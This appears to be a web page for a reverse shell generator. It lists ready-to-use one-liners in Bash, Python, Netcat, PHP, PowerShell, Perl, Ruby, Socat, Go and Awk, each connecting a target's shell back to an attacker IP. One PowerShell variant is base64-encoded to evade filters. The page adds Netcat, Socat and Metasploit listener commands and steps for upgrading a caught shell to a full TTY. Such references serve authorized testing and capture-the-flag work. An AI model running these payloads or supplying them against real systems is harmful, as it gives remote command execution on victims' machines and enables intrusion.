Interactive Tool

Reverse Shell Generator

Instantly generate reverse shell payloads for Bash, Python, PowerShell, PHP, and more. Configure your IP and port once, and get ready-to-use commands for every scenario.

⚙️ Configuration

Attacker IP (LHOST)

Attacker Port (LPORT)

🎧 Listener Commands

Netcat (Standard)

nc -lvnp 4444

rlwrap (Better History)

rlwrap nc -lvnp 4444

Socat (Full TTY)

socat file:`tty`,raw,echo=0 tcp-listen:4444

Metasploit (Multi/Handler)

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD generic/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"

Bash

4 variants

Bash -i

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Bash 196

0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196

Bash read

exec 5<>/dev/tcp/10.10.14.5/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

Bash UDP

sh -i >& /dev/udp/10.10.14.5/4444 0>&1

Python

3 variants

Python3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Python2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python Short

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Netcat

4 variants

nc -e

nc -e /bin/sh 10.10.14.5 4444

nc.exe -e

nc.exe 10.10.14.5 4444 -e cmd.exe

nc mkfifo

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f

ncat

ncat 10.10.14.5 4444 -e /bin/sh

PHP

4 variants

PHP exec

php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP shell_exec

php -r '$sock=fsockopen("10.10.14.5",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

PHP system

php -r '$sock=fsockopen("10.10.14.5",4444);system("/bin/sh -i <&3 >&3 2>&3");'

PHP passthru

php -r '$sock=fsockopen("10.10.14.5",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'

PowerShell

3 variants

PowerShell #1

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PowerShell #2

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PowerShell Base64Encoded payload to bypass some filters

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Perl

2 variants

Perl

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl no sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.5:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

1 variants

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Socat

1 variants

Socat #1

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444

Golang

1 variants

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.14.5:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Awk

1 variants

Awk

awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s) }}'

🚀 How to Upgrade to a Full TTY

Once you catch a shell, it's often "dumb" (no tab completion, no Ctrl+C). Run these commands to upgrade it:

# 1. Spawn a PTY (inside the victim shell)

python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Background the shell (Ctrl+Z)

# 3. Fix terminal settings (on your machine)

stty raw -echo; fg

# 4. Reset terminal (inside the victim shell again)

export TERM=xterm-256color

What is a Reverse Shell?

A reverse shell is a type of shell where the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using code or command execution is achieved.

Common Listeners

Netcat (nc): The "Swiss Army knife" of networking. nc -lvnp 4444 is the standard listener.
Socat: A more advanced tool that can establish full TTY connections, making the shell more stable and interactive.
Metasploit (multi/handler): Used when catching shells generated by MSFvenom or when you need advanced post-exploitation features.

Stability Tips

Most reverse shells are "dumb" shells that lack tab completion, job control, and proper text editing. Always try to upgrade your shell to a full TTY using Python or Socat as soon as you get access.